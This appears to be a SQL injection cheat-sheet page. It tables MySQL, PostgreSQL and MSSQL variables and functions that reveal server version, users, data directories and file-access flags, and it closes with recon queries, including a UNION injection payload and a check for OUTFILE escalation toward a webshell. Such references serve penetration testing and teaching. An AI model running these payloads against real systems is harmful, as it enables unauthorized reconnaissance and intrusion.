System variables and built-in functions that reveal server configuration, filesystem paths, and runtime state — essential during SQL injection reconnaissance for mapping the target environment and planning escalation.
Server identity and version
Variable / Function
DBMS
Returns
@@version
MySQL, MSSQL
Full version string (OS, build, edition)
version()
MySQL, PostgreSQL
Version string
@@hostname
MySQL
Server’s hostname
user()
MySQL
Current MySQL user (user@host)
current_user()
MySQL, PostgreSQL, MSSQL
Current database user
system_user()
MySQL, PostgreSQL
OS-level user running the DBMS
session_user()
PostgreSQL
Session user
database()
MySQL
Current database name
schema()
MySQL
Alias for database()
Filesystem paths
Variable / Function
DBMS
Returns
@@datadir
MySQL
Data directory (e.g., /var/lib/mysql)
@@tmpdir
MySQL
Temporary directory
@@basedir
MySQL
MySQL installation base directory
The @@datadir value is particularly useful for constructing LOAD_FILE() and INTO OUTFILE paths during escalation. See mysql-into-outfile-webshell.
Feature and capability flags
Variable
DBMS
Returns
@@GLOBAL.have_symlink
MySQL
YES/NO — symlink support (affects LOAD_FILE)
@@GLOBAL.have_ssl
MySQL
YES/NO — SSL support
@@global.secure_file_priv
MySQL
Restricts LOAD_FILE()/INTO OUTFILE to a directory (or NULL = disabled)
@@global.read_only
MySQL
Whether the server is in read-only mode
Practical recon queries
-- Full environment summary in one UNIONUNION SELECT NULL, CONCAT( @@version, 0x3a, @@hostname, 0x3a, @@datadir, 0x3a, user(), 0x3a, database())---- Check secure_file_priv before attempting OUTFILESELECT @@global.secure_file_priv;-- Confirm current privilegesSELECT user(), current_user(), system_user();